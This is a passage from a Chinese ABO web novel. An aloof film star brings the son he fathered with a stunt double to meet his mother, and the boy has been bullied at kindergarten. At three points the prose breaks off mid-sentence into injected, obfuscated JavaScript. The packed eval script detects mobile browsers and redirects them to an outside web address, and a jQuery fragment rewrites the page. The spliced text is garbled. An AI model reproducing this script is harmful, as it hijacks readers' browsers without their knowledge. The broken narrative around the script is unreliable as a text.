话音未落,他兜里的手机“叮咚”响了一声。听见这个铃声,邢再洺眉头一拧,只得停下来,摸出手机瞟了一眼。 随即,陆庭风清楚地看见他脸上神情缓和了些,满腔的鄙夷似乎也憋了回去。 收好手机,邢再洺整一整西装,板着脸站了起来:“总之,综艺就不必再讨论了。之后小陆总要是还有什么别的想法,再给我打电话吧!”语毕,转身大步离开了办公室。 望着他高挑的背影,陆庭风忍不住问方洛汶:“谁给他发信息啊?” “他家里人。”方洛汶一副了然神情,淡定地给自己续了一杯茶。陆庭风眼珠子一转,开始向她打探刚才没来得及旁敲侧击的事情:“那个小演员……靳若飞,你跟他打过几次交道——感觉如何啊?” “唔,他挺好的!”方洛汶一边喝茶一边用力点头:“我故意放低姿态跟他谈,但他完全没有得意忘形,反而相当配合,态度也很诚恳。这孩子本性不错,没什么坏心,也难怪当年阿洺会放松警惕。” “那他生下孩子,是因为……”陆庭风眉尾微挑,探询地望向方洛汶。五十一岁的Beta阿姨道:“他肯定喜欢阿洺的。加上beta怀孕不易,可能舍不得打掉,就这样生下来了。” “这样啊……”若有所思地点点头,陆庭风默默寻思了一会儿,转而露出一个笑,问起其他事情:“哎汶姐!我听说,之前有个年轻导演拿着一个本子找洺哥投资,洺哥好像也很兴趣。这是怎么回事……” . 邢再洺的妈妈宋清许是申城某高校的退休教授,就住在学校里,邻居都是熟悉的老同事。每日跟他们散散步、种种花,退休生活惬意得很。 每个月的月末,邢再洺都会抽一天去看妈妈,陪她吃顿饭、聊聊天什么的——虽然,宋清许女士好像并不需要这个三十好几的儿子陪吃饭。 买了些水果、日用品和一束花来到妈妈家,邢再洺打开门,一进玄关就看见妈妈跟某个头发花白的老头子站在阳台上,正对着几盆盛开的碗莲相谈甚欢。 忍不住眯起眼,他把东西放到茶几上,双手插兜走过去,声音不高不低道:“妈,这位叔叔是……?” 宋女士讶异地转身看向他,眼中并无太多喜悦:“阿洺你来啦?这位是黄教授,今年七月准备退休了,前阵子刚搬到楼下。” 那位黄教授长得斯文端正,脸上戴着一副眼镜儿,书卷气颇为浓厚:“早听说清许有个大明星儿子,今天终于得见,果真一表人才!” ……清许? 邢再洺皮笑肉不笑地扯一扯唇,缓步站到妈妈身旁,摆出一副送客的架势:“过奖了。我今天过来陪妈妈吃饭,黄教授想留下来一起用餐吗?” “哦,不必了不必了,怎么好打扰你们呢?我这就回家了,再见!”黄教授忙不迭推辞两句,随即识趣地回了家。 看着对方板正的背影消失在门口,邢再洺扭头望向母亲,不满道:“我爸想跟你复婚,你不愿意。结果一转头找个比他丑又比他穷的,何必呢?” 嫌弃地白他一眼,宋女士懒得解释,手肘一推,自顾自走向厨房:“今天怎么来这么早?” 邢再洺优哉游哉地躺到沙发上,掏出手机点开刚收到的分镜剧本,一边看一边心不在焉地答:“我刚好在公司那边,你一发短信,我就过来了。” 厨房里随即传来炒菜的声音。六十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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听着那“哗哗”的剧烈水流声,宋清许难耐地忍受一会儿,半晌到底是没忍住,气闷地放下活儿,朝厨房大步走去:“你又开这么大水!待会儿溅得地板上都是,我还得收拾……” 话音未落,厨房里就传来一声清脆的“哐啷”,邢再洺打碎了碗。宋清许更生气了:“每次你都打碎我的碗,每次都打碎!做事就不能细心点儿吗!……你拍戏也这么毛毛躁躁的啊?” “拍戏跟洗碗有什么可比性?”不置可否地睨妈妈一眼,邢再洺将地上的碎瓷片草草收拾干净,随即清洗完剩下的碗筷,水也不擦,就往消毒柜里放。 宋清许再也忍不住了,走进去把他推出厨房:“行了行了,你走吧!我来收拾!” 地上还有好些细碎的瓷片没有清理,拖鞋踩上去“吱嘎”作响,令人愈发烦躁。宋女士愤懑地收拾着,嘴里忍不住念叨:“都三十好几的人了,还这么我行我素的,既不负责任,又不知道疼人……就跟你爸一样!还好意思跟我提复婚呢,我会跟他复婚才有鬼了!” 直到这时,邢再洺的脸上才露出了一丝不自在。他收起手机,心烦意乱地点起一支烟,准备离去:“妈,我先走了,不然晚高峰回不去。你在家记得吃慢病药……” “——你先别走!”宋清许却不依不饶地叫住他,擦干手掌快步走出来,神情郑重:“我不管你认不认这个儿子,反正我是要认这个孙子的!既然你不想跟他接触,那我明天就自己去找他们,你看着办吧!” “……啧,妈!”头疼地咋舌一声,邢再洺气急败坏地看着这个六十五岁执拗老阿姨,心想她怎么越老越难缠了?这眼睛瞪着、嘴角紧抿着,一副不达目的不罢休的架势。无法,他只得愤懑地翻个白眼,憋屈地举了白旗:“好好好,过两天我把他接过来,给你见一见,行了吧?!” 宋女士达成目的,却仍不领情,甚至剜了儿子一眼:“这本来就是你该做的!” 5. 再次见面 在靳若飞进入张导剧组之后,没过两天,又来了一个据说出身“科班”的动作替身。靳若飞见过他几次,好像叫卫丘恒的,长得比自己矮一些、结实一些,符合大众对于“武生”的想象。 有了他俩的加入,剧组的动作戏突然变得一日千里,进展得十分顺利。不过与卫丘恒不同的是,靳若飞替的多是主角的动作戏,拿的报酬也高两个档。 对此,这个年轻结实的替身演员似乎有些困惑。靳若飞曾无意间听到他询问林哥:“为什么我不能给主角做替身呢?我感觉我的动作完成得更干净利落。” 林哥上下打量他一眼,轻描淡写道:“没办法,你比他矮,身材比例不对——主演身高185cm呢!靳若飞虽然只181cm,但他头小,身形又瘦,从比例上看相差无几。而且他手长脚长的,虽然动作不够有力,但打起来好看啊。速度慢的话,后期加快一点儿就是了。” 对于这样的比较,靳若飞没吭声,装作什么也没听见,照常认真工作、照常跟卫丘恒打招呼。这个二十出头的年轻Alpha好像也不计较,有一次在拍摄的闲暇,他还好奇地跟靳若飞搭话:“飞哥,你是不是武阳体院毕业的?” “是。”靳若飞的回答克制而谨慎,不算冷淡,也不过分热情,“我是62届的。” “那我俩是校友啊,我是69届的!”卫丘恒颇为兴奋地同他用力握手:“你的百科资料上没写毕业院校,一开始我还不敢认。但我见你以前长拳比赛的视频里,那收拳的动作跟我老师教的一模一样!想来想去,还是来直接问你好了。” 料想他大概率是从前阵子的新闻中认识自己的,靳若飞礼貌地笑笑,没吭声。 这个卫丘恒似乎看不懂他的疏离之意,兴致勃勃还想再问什么。这时,刚拍完一场戏的男二号李弦雨从旁边经过,见他俩坐在一起,便奚落道:“这么快又盯上别的Alpha了?……小哥,你可得小心点儿,不然哪天就会被他用孩子赖上了!” 嘴角不由难堪地挂下去,靳若飞努力维持着镇定的神情,起身同卫丘恒告别:“我先去热身,待会儿还有一场戏。” “哦,好。”对方也尴尬地低下了头。 晚上回到家已是八点多。儿子靳宇潇已经洗过澡了,此时正在客厅跟奶奶一起看动画片。 见爸爸回来,他好像不是很开心,小肩膀耷拉着坐在地板上,神情恹恹:“爸爸。” 靳若飞疲惫地走上前,摸一摸他的小脑袋:“怎么蔫蔫的,是哪里不舒服吗?” “没有不舒服。”小家伙垂下眼帘,那双与邢再洺极为相似的眼透出忧郁的神情,沉闷地望向手里的魔方:“就是……奶奶给我买的这个魔方,我不会拼。” “这样啊。”内心稍微松了一口气,靳若飞拿过魔方看看,又试着扭一下,发现自己也不会拼。他无力地垂下头,叹气道:“这个东西挺难的,爸爸都不会。你年纪这么小,拼不出来也正常,不着急啊~” 看着爸爸走向卫生间的疲惫身影,潇潇欲言又止地抿住小嘴唇,垂下脸,心事重重地扭了扭手里的魔方。 . 第二天星期五,片场的动作戏安排得不多,拍完后不过下午三点。一般这种情况,许多动作替身会立即下工,提早回家休息。但靳若飞知道今天有一场老戏骨之间的对手戏,便期待地留了下来,想要学习一二。 这场戏十分重要,剧组的工作人员都绷紧了后颈皮,不敢有一丝怠慢。布景转换时,时间紧任务重,美术部门的人忙得不可开交。靳若飞在边上听见美术指导大呼小叫的,急得都破音了。看着不远处焦头烂额的工作人员,他默默地走过去,接住了即将从对方怀里掉下来的花瓶。 “……谢谢。”虽然对这个新闻里“生子博出位”的人无甚好感,但受了人家的恩惠,那位工作人员也不好再敬而远之,客气地道了一声感谢。 靳若飞仿佛没听出他声音里的迟疑,只点点头,便平静地加入了布景大军,帮忙干一些体力活儿。一个钟后,布景终于完成,机位和灯光也调试完毕,拍摄即将开始。 拍一拍衣服上的脏污,靳若飞默默地退了出去,站到围观的人群边缘,期待着老戏骨的精彩演出。突然,有人拍了一下他的肩膀:“飞哥,你也在等这场戏啊?” 扭头一看,见是卫丘恒。靳若飞短促地扯扯唇:“嗯。陈老师的戏很精彩,我想现场感受一下。” “我也是这样打算的!”两人所见略同,卫丘恒年轻的脸庞瞬间激动起来,一双微圆的杏眼显得十分有朝气:“我特别想成为陈老师这样的演员!演什么都信手拈来,入木三分!不管什么情绪都把握得非常好……” 说起偶像,卫丘恒便滔滔不绝,两眼放光地朝着靳若飞表达自己的抱负:“我进这个剧组就是为了看陈老师的戏,顺便偷师。以后我一定要出人头地,成为一个家喻户晓的演员——最好比郑金鹏还要出名!” 听见“郑金鹏”这个振聋发聩的名字,靳若飞默默地吃了一惊:鹏哥可是全中国、乃至全世界最知名的动作演员!虽然自己也曾幻想着声名大噪,但从来没有奢望过要超越这座“珠穆朗玛峰”。 心底不禁对这个年轻气盛的alpha起了钦佩,靳若飞笑笑,终于打开话匣子:“如果想超越鹏哥,那你得想办法去六爷的团队工作。他跟鹏哥合作过很多次,资源又好,合作的还都是实力明星。去那里工作的话,你肯定会事半功倍的。” “我也想去六爷的团队呀!”眼睛一亮,卫丘恒仿佛见猎心喜,凑过来小声问:“飞哥,你有路子能接触到六爷吗?你现在不是……嗯?”说到这儿,他轻轻一挑眉,露出了微妙的神色:“跟影帝搭上了关系么?能不能请他引荐一下?” 面色一僵,靳若飞眼中的笑意瞬间退去,生硬地往后退了一步:“我跟影帝之间没有什么关系。你要想接触到六爷,不如去找林哥,他就是从六爷团队里出来的。” “……这样啊!”见他不高兴了,卫丘恒尴尬地笑笑,立刻改口:“好,那我待会儿去找林哥。” 撇开脸,靳若飞不再搭腔,抿紧唇稳定心神,准备看老戏骨飙戏。 这时,裤兜里一阵震动——是手机响了。他掏出来一看,见屏幕上显示着“妈妈”二字。生怕是潇潇生病,他也顾不上卫丘恒在一旁打量,立刻接起电话,小声问:“妈,什么事?” “小飞!”秦丽君女士的声音十分惶恐,清晰地从扬声器里传了出来:“邢再洺这会儿在咱们家里,说晚上要带潇潇出去吃饭!你,你快回来吧,我不知道该怎么应付他!” 靳若飞的面色瞬间变得苍白,立刻挂掉电话,飞快地朝停车场奔去。 . 紧赶慢赶回到家,一进门,靳若飞就看见邢再洺神情泰然地坐在沙发上,微微抬着下巴,用轻慢的视线睥睨着自己。他一语不发,只等秦丽君紧张地把儿子拖到一旁,小声解释:“邢先生说,他妈妈想看看孙子是个什么样的人,所以要把潇潇接过去吃个晚饭……可是潇潇那么怕他,肯定不愿意的,怎么办呢?” 靳若飞扭过脸,短促地看一眼邢再洺,只感觉脑子里乱糟糟的:“他很坚持吗?” “是呀!”秦女士焦急地耷拉着眉毛,表情像要哭了:“我劝了好久,说潇潇胆子小,见人会发怵,还是不去的好。可他说,既然胆子小,那就让你一起跟着去!小飞,你,你去劝劝他吧……” 不得已,靳若飞只能深吸一口气,硬着头皮走到茶几边上,仿佛一个犯错的学生面对着班主任,声音艰涩:“邢先生,之前我们商量的时候不是说……你只出抚养费,不参与潇潇的生活吗?现在你提出这个要求,不符合我们的约定吧?” 没料到他居然拿之前的约定来拒绝自己,邢再洺略感诧异地眯起眼,发觉这个人好像并不是他表现出来的那么逆来顺受? “你以为我想掺和吗?”轻哼一声,邢再洺站起身,不疾不徐地走到他面前,居高临下地看着他低垂的脑袋:“我倒是想当做这个儿子不存在,可血缘就摆在这里,我能摆脱得了吗?……原本两个毫不相干的家庭因为他而扯上了关系,我妈妈也没法当做什么事都没发生过——这一点你早就预料到了,是不是?” 他每一次说话都不忘含沙射影、夹枪带棒,直把靳若飞刺得面色煞白,无言以对。见状,邢再洺稍感舒畅,不疾不徐地又坐了回去:“……无话可说了?那就换身衣服,跟我去接他。我妈在家等着呢!” 靳若飞僵硬地立在原地,只感觉心脏像被煎着,耳廓火辣辣地发热。他很想硬气地拒绝,可一想到儿子刚得知邢再洺是亲爸爸时那惊讶而希冀的眼神,以及他最近闷闷不乐的表现,靳若飞又忍不住心生苦涩:潇潇其实也很渴望一个高大伟岸的父亲吧? 自上幼儿园之后,他不解地问过几次,为什么别人既有爸爸又有妈妈?靳若飞支吾许久,无法回答。如今答案揭晓,潇潇却无法理所应当地得到亲爸爸的疼爱……如果这是一次机会,自己是不是应该让他尝试一下? 犹豫半晌,靳若飞纠结地后退一步,转身进了房里:“……那你等等。” 邢再洺背对着他端坐在沙发上,无动于衷地划动手机屏幕,没有说话。 房门关闭时传来轻轻的“砰”声,随即却又“吱呀”地轻响,慢慢打开了45°。窸窣的动静随即从门里传出来,好像是在努力地翻找衣服,持续了不短的时间。 邢再洺的思绪慢慢被那小老鼠似的声音吸引了过去。 犹记得五年前的那一晚,靳若飞脱衣服时也是这个动静。23岁的Beta男生沉默地站在床尾,生涩地脱掉衣服,露出年轻而精实的白皙身体,背上还带着点点青紫。 想起往事,邢再洺心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197835|165678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些烦躁,不由蹙着眉心抬起头——他以为靳若飞的房间在沙发后面,自己不必担心看见房内的场景。可没想到,电视柜旁边的墙上贴着一块大大的穿衣镜。靳若飞半祼的身体就映在那片镜子里,被门扇掩去小半个肩头,脊背却是一览无余。 依旧是那样精实、颀长,宽肩细腰,脊沟清晰,甚至连皮肤上的淤青都一如既往。邢再洺一双冷眼挑剔地注视着,最后不甘地得出结论:……生育倒是没有耽误他的身材。 半晌又想:入行都五六年了吧?居然还没学会避免受伤,看来没什么长进。 这时,靳若飞换好干净的T恤和牛仔裤走了出来。他精瘦的身躯和两条长腿在布料里面晃荡着,行走间勾勒出隐约的身形。配上那双躲闪的吊梢眼,乍一看宛若初出茅庐的愣头青,浑身都是青涩的莽撞之气。 他走到卫生间洗脸,片刻之后走回来,捋一下湿了水的发梢,视线躲闪:“走吧。” 看着靳若飞因湿润而显得格外透亮的白皙面庞,邢再洺不疾不徐地站起身,挑剔的视线宛若X光,一刻也没有从他身上离开过。 . 车子停在公寓大楼的地下停车场。 私人行程时,邢再洺不习惯使唤司机,一般都是自己开车。他戴着口罩来到阴暗的停车场,大步流星地走到一辆低调的黑色宾利边上,径直坐进了驾驶座里。靳若飞跟在他身后,犹豫半晌,硬着头皮拉开了副驾驶的车门。 取下口罩,邢再洺凉凉地瞥他一眼,奚落道:“你倒挺自觉。” 靳若飞上车的动作顿时停下,随即默默地关上门,坐到了后排去。 不料,邢再洺“啧”一声,又不满意:“你把我当司机吗?!……坐到前边来!” 靳若飞咬咬唇,只得又坐了回去。 前往幼儿园的路上,邢再洺面若冰霜地开着车,一句话也不说,车里安静得令人窒息。靳若飞默默地端坐着,也不吭声,宛如一只遭遇过太多冷遇的狼犬,自觉蜷缩在有限的空间里。 良久,邢再洺终于冷哼一声,开口了:“今天这次见面,只不过是我妈她老人家一时好奇罢了,不一定有第二次的。你最好安分点儿,别动什么心思!惹毛了我,我让你连动作替身都没得做,明白吗?” 心头一震,靳若飞垂眸望着自己绞紧的十指,喉头仿佛被什么东西梗住了。 ……原来自己受到的冷遇,并不是那些人自发避险,而是他授意的。 一时间说不清是个什么感觉,靳若飞难受地抿抿唇,脑袋更深地垂了下去。 他突然发觉自己以前天真得可笑——跟圈子里那些趾高气昂的人相比,邢再洺好像并没有什么不同。他也会利用自己的影响力让看不顺眼的人消失,以前之所以没有爆出过此类新闻,只不过是没人真正惹怒他罢了。 当年他对自己的维护和指点,大概率也只是一时兴起,跟“关心后辈”没有什么关系。 想通此节,靳若飞压下心头那股酸楚的浪潮,自嘲而苦涩地笑了笑。 ……不料,这个笑容正正落在邢再洺眼底。 说了恐吓的话,影帝先生本来好整以暇地等待着他惊慌失措的表现,或者一点点失控的怒意。结果这人居然愈发逆来顺受,一声不吭地将所有情绪忍了下去! 他当真一点儿脾气都没有? 这种消极的反应让邢再洺心里莫名生出一股不满,仿佛一拳打在棉花上,恶劣的心情完全没有得到释放。 心烦气躁,他干脆掏出一支烟点燃,肆意地在车里吞云吐雾。可靳若飞依旧沉默地坐在那儿,任由呛人的烟雾将他淹没,连眉头都没有皱一下。 邢再洺突然感觉索然无味,伸手摁灭了烟。 恰好这时,幼儿园到了。把车停在街边的树下,他冷着脸加大新风循环,好把烟雾排出去。同时冷酷地对靳若飞道:“把你儿子接过来!……记得别在外头胡言乱语,上车再跟他解释。” 靳若飞没搭腔,沉默地下了车。 幼儿园门口此时熙熙攘攘的,接孩子的家长围得里三层外三层,靳若飞一时间都不知道该从哪里挤进去。过了一会儿,有几人注意到他的长相,似乎认了出来,忍不住对着他指指点点。靳若飞也有所察觉,眉头不禁皱一下,难堪地绷紧了嘴角。 邢再洺坐在车里看见,轻哼一声,心中终于舒坦了些。 随着时间流逝,一些孩子被家长接走,幼儿园门口终于宽松些许。靳若飞等得焦急,心想儿子怎么还没出现?刚才不是都看见小班的学生放学了吗? ……正忐忑着,下一秒,他便看见儿子红着双眼,白色小衬衫灰扑扑的,被老师牵着手走了出来。 “潇潇!”心头一紧,他担忧地脱口惊呼,飞奔而上。小家伙看见他,难过的表情顿时忍不住了,委屈地伸出双手,眼泪夺眶而出:“呜,爸爸……!” 6. 隔辈亲 把儿子牢牢搂进怀里,靳若飞搂着他颤抖的小身体,眼中终于露出一丝怒色:“怎么了,是不是有人欺负你了?!” 老师在身后赶忙走过来:“今天活动课,有几个大班的孩子用皮球砸潇潇,把他砸摔了。我带他们去办公室问话,才知道那几个孩子欺负他好几天了……一开始只是言语上捉弄,潇潇没搭理。他们的胆子就越来越大,做了这些过激的举动。这事儿是我们老师的失职,我得跟您说声抱歉。那几个孩子我们已经教育过了,也通知了家长。我们保证,以后绝对不会再发生这种事……” 敏锐地察觉到什么,靳若飞猛地抬起眼帘,那双桀骜的眼睛终于流露出与之相符的情绪:“他们说潇潇什么?” “他们……”欲言又止地停顿一会儿,老师视线躲闪地看他一眼,叹气道:“潇潇爸爸,我实话跟您说吧——之前您那新闻闹得沸沸扬扬的,老师和家长们都有所耳闻。我特地跟咱们小班的家长叮嘱了,让他们不要跟孩子乱说,免得出现霸凌的情况。可我没想到,那些大班的孩子会趁着活动课来欺负他……” 心脏不禁疼痛地紧缩起来,靳若飞突然无言以对,愤怒的情绪变成深刻的惭愧和无力。潇潇紧紧搂着他,一边抽噎着一边道:“他们说……爸爸不要我,我是个没爸的小孩。他们还说你的坏话,我好生气,想打回去,可是打不过……” “他们比你大两岁,你怎么打得过呢?”心疼地抚摸儿子的小脊背,靳若飞还想安慰几句,却一时语塞,不知该说些什么。毕竟那些大孩子没有说错,潇潇的爸爸确实不要他——即使此时此刻,邢再洺就坐在五十米外的汽车里,等着接他们去吃饭,也不意味着他想要认下这个孩子。 这一刻,靳若飞忍不住扭回头,在旁人的注视中望向不远处那辆沉默的黑色宾利。深色的防窥玻璃掩去了邢再洺的身形,让他无从窥探对方的表情。但看着一动不动的车辆,靳若飞明白,对方完全没有下车的意思。 对邢再洺而言,潇潇是一个意料之外的孩子,他甩掉都来不及,又怎么会出手维护呢? 苦笑一下,靳若飞把儿子抱进怀里,对老师哑声说一句“麻烦老师以后多关注一下潇潇,有什么事就给我打电话”。随即在家长的注视之中,急匆匆朝宾利车走去。 未满四岁的孩子趴在他肩上,声音哽咽地问:“爸爸,你今天怎么有空来接我呀?” “我们……”靳若飞走到宾利车旁,欲言又止地伸手拉开后排车门,抱着他钻了进去:“我们去邢伯伯家吃饭。” “邢伯伯……?”潇潇吸吸鼻子,爬到座位上坐好,茫然地问:“邢伯伯是谁呀?” 下一秒,他探询地望向前方驾驶座,猝不及防地看见了邢再洺冷淡回望的狭长双眼。 小家伙浑身一颤,条件反射地抓住了爸爸的衣服下摆。 . 在教职工住宅楼下停好车,邢再洺从后视镜中面无表情地瞥靳宇潇一眼,没跟他说什么警告的话,自顾自下了车,去后备箱拿东西。 靳若飞也不吭声,亦步亦趋地把儿子抱下来,用手轻轻拍打他小衬衫上的脏污,企图让他看上去整洁大方一些。小家伙浑身绷得紧紧的,那双漂亮的眼睛小心翼翼地瞥邢再洺一眼,声音像蚊哼似的问爸爸:“邢伯伯为什么要带我们来吃饭呀……?” “邢伯伯的妈妈想见你。”掏出湿巾,把儿子的脸蛋也擦一擦。遗传自他的白皮肤立刻变得干净透亮,瞬间从刚才那个委屈的小可怜变成了乖巧清俊的小王子。 靳若飞又揉一揉儿子的脸蛋,轻声叮嘱:“你大大方方的,进门之后叫奶奶,她问什么你答什么就行。” “好。”拉住爸爸的手,父子俩一抬头,就见邢再洺捧着一个箱子立在车尾,冷眼睨着他们:“交待清楚了吗?” 靳若飞抿抿唇,不想回答他这样的问题。所幸邢再洺也不在乎,面无表情地转身就往楼上走。 三人不紧不慢爬上四楼,摁响门铃之后,邢再洺头也不回,轻慢地立在门前沉声叮嘱:“只是吃个饭而已,你俩别做多余的事情,知不知道?” 对于他这种趾高气昂的警告,靳若飞咬住下唇,心中的难堪几乎到了极点,令他开始后悔今天的决定。倒是靳宇潇懵懵懂懂的,小心翼翼地答了一声:“……好。” 下一秒,一名约莫六十岁左右的Omega女士打开门,面带微笑:“你们来啦!” 她发丝花白,发髻梳得整齐端正,上身穿着藕色雪纺衬衫,下着黑色修身长裤,显得十分有气质。靳若飞莫名紧张起来,喉咙里提着一口气,犹豫地拉着儿子走进去:“阿姨好。” 第一次面对面看见他,宋清许女士莫名愣了一下——似乎是猜错了他的年龄——随即,她恶狠狠地剜了自家儿子一眼。邢再洺抱着烤箱走进去,心里还奇怪呢:我都把人带来了,怎么还瞪我? ……下一秒,他看见妈妈殷切地把靳宇潇拉到面前,一双手稀罕地在小家伙脸上、脑袋上摸来摸去:“你就是潇潇吧?来来来,快进屋!” 真是隔辈亲啊。影帝心情复杂地想。 有些紧张地站在玄关的地毯上,靳宇潇乖乖地喊一声“奶奶好”,随即自觉地开始脱鞋。宋女士赶忙道:“不用换鞋,直接进来吧,反正家里快要打扫了。” 谁知,靳若飞立刻从单肩背包里拿出两双鞋套,麻利地给自己和儿子套上:“那我们用鞋套吧,踩得太脏,打扫起来也麻烦的。” “不用这么讲究……”被他的细致震惊到,宋清许怔愣两秒,随即叹口气,将人迎进来:“先坐吧!饭菜马上就好了。” 拉着儿子走到沙发旁,靳若飞见邢再洺没搭理他,自顾自地在餐厅折腾新烤箱;而宋女士在厨房里来回忙碌着,一人管两个灶,电磁炉上还炖着汤……不自在地深吸一口气,他焦灼地跟儿子在沙发上坐了半分钟,最后还是没受住心里的煎熬,走进厨房里轻声问:“阿姨,需要我帮忙吗?我经常做饭的。” “不用不用!”宋女士自然是立刻拒绝:“你是客人,怎么能让你动手呢?你去陪潇潇吧,他第一次来,年纪又小,心里肯定害怕的。” “……好。”这个理由过于充分,靳若飞不好再坚持,老老实实地回到了客厅。 潇潇这会儿脱了书包,小心翼翼地四处打量着,视线很快被阳台上郁郁葱葱的绿植和花朵吸引了过去。片刻之后,靳若飞走回来,他就忍不住拉着爸爸小声问:“爸爸,那是什么?”小手指向阳台上几盆亭亭玉立的碗莲。 “那个……”靳若飞也不大认识,“大概是微缩的莲花盆景吧?待会儿吃饭时你可以问问奶奶。” “哦,好……”父子俩轻声低语着,突然,餐厅方向传来一声有些明显的“咔哒”。两人吓了一跳,扭头望去,就见邢再洺不知为何又不高兴了。他重重地把剪刀往餐桌上一放,向后靠到餐边柜上,一脸不悦地勾了勾手。 靳若飞只得硬着头皮走了过去。 立到邢再洺身前,两人隔着一米的距离,一个下巴微抬,一个脸庞低垂。他比邢再洺矮六厘米,相差其实不大。但面对面站立时,他却总感觉自己好似矮了半个头……也许是他犯错在先的缘故吧。 “我不是告诉你别做多余的事么?”不满的冷酷声音在面前响起,邢再洺“啧”的力道很轻,却仿若重重一锤,打在靳若飞耳膜上:“你跑去厨房跟我妈套近乎干什么?……不要以为你哄好了她,就能造成什么既定事实。她只是想认孙子而已,跟你没有什么关系,你不要痴心妄想,懂吗?” “……我没有痴心妄想。”终于忍不住反驳他的傲慢,靳若飞憋闷地看着餐桌上那把剪刀,只感觉自己的尊严被那尖利的刀尖戳得千疮百孔:“我只是看她一个人太忙,想去帮帮忙而已。” “——需要你帮吗?”邢再洺却不依不饶地质问他,“她亲生儿子都在这,我弄完这边就会去厨房了,需要你自作多情吗?” 手掌垂在在身侧,不禁难堪地紧攥成拳,靳若飞咬咬唇,哑声道:“我怎么知道你的打算,我又不是你肚里的蛔虫。”说完,他没再搭理邢再洺,转身大步回了客厅。 “……啧!”总感觉自己受到了挑衅,邢再洺眉头一拧,心底冒出一股火气。这时,厨房里的许女士呼唤一声:“阿洺,过来帮妈妈忙!” 只得冷瞪靳若飞一眼,他扭头走进厨房,刚想问需要做什么。却不料,宋女士猛地揪住他的衣袖,气势汹汹地问:“那孩子几岁啊,你就染指人家!你在娱乐圈怎么学得这么为非作歹?!” “什么几岁?”一开始邢再洺还以为妈妈问的是靳宇潇,但片刻之后,他反应了过来:“……他都二十八了好吗?!我第一见他时他二十三岁,完完全全的成年人了!” “二十八?”宋女士迟疑地停顿一下,“怎么看着跟二十出头似的?” “他这个长相不显年纪!”抽回袖口,邢再洺烦闷地转身要走,又被妈妈揪住了衣服后摆:“跑什么!菜都做好了,帮我端到桌上!” 影帝只得转身又走了回去。 . 今天难得四个人吃饭,宋女士做了五菜一汤,酸甜排骨、可乐鸡翅等,基本都是小孩儿爱吃的菜。 潇潇洗了手,乖乖地跟爸爸坐在一侧,面对着奶奶。靳若飞只得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15197836|165678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在邢再洺对面,一抬头就是他那双审视的冷眼,像盯犯人似的。憋闷地深吸一口气,他干脆埋下头,就当那家伙不存在,一心一意地夹菜吃饭。 这父子俩吃饭很安静,都是低着头,吃得不疾不徐的,咀嚼都没有声音。宋清许一边吃饭一边打量潇潇,见他长得跟儿子极为相似,可气质却截然不同,温和乖巧的,心里是越看越喜欢。 用勺子舀起一勺什锦虾仁放进孙子碗里,宋清许柔声道:“潇潇,尝尝这个虾仁好不好吃。” “好~”乖巧地应一声,潇潇咽下嘴里的肉,小手拿着长长的筷子夹起一个虾仁,稳稳当当地放进了嘴里:“奶奶,虾仁特别好吃,好弹~清甜!” “是吗!”宋女士开心极了,“那你多吃点儿!” 见这小孩儿把自家老妈哄得心花怒放,邢再洺莫名有些不爽,盯着靳宇潇注视了好一会儿。小家伙的腮帮子鼓鼓的,包着饭粒和虾仁耐心咀嚼,不像别的小孩那样狼吞虎咽。见状,邢再洺不由望向靳若飞——这人也是细嚼慢咽的,眼帘低垂、神情认真。一大一小并排坐在一起,简直像一只猎豹带着小猎豹,动作的节奏都一模一样。 宋女士好像也发现这一点,忍俊不禁地抿唇笑了一下。她又给孙子夹了块排骨,柔声问:“潇潇,你在哪个幼儿园上学呀?” “在晨光幼儿园,读小班。”潇潇认真地回答。 “幼儿园的饭菜有没有奶奶做的好吃?”宋清许面露促狭,轻声跟他逗趣儿。潇潇摇摇头:“幼儿园做的没有奶奶做的好吃。味道淡,也不香,就吃个饱。” 没想到他的点评如此具体,宋清许面露诧异,下意识看一眼靳若飞:“哟,想不到咱们潇潇还知道判断咸淡呢?” 靳若飞尴尬地笑笑,解释道:“我在家做饭,有时候会让他尝味道,再跟他描述一下。” “是吗?”颇觉稀罕,宋清许兴致勃勃地想再问什么,双眼不经意间瞥见潇潇白衬衫上隐约的污渍,忍不住伸长手拂一拂,问:“这是怎么回事?” 那处污渍不在身前,而是在肩侧,看样子不是自己蹭上的。闻言,邢再洺也望了过去,眸色中露出一丝探询——其实在接靳宇潇时他就注意到了老师脸上歉疚的表情。那一刻,他下意识想知道发生了什么事,但又不愿开口问靳若飞,便硬生生地忍了下来。现在妈妈主动问起,他便不动声色地抬起眼帘,一同等待着答案。 “这个是……”不想说儿子是因为邢再洺发布的公告而遭到霸凌,靳若飞咀嚼的动作顿了一下,眼帘倏然垂下去,望着碗中的饭粒:“他跟同学在活动课上闹着玩儿,摔到沙坑里去了,不小心弄脏了衣服。” “……嗯。”潇潇也是同样动作,长睫毛怯怯地垂着,嘴唇轻抿:“我自己摔的。” 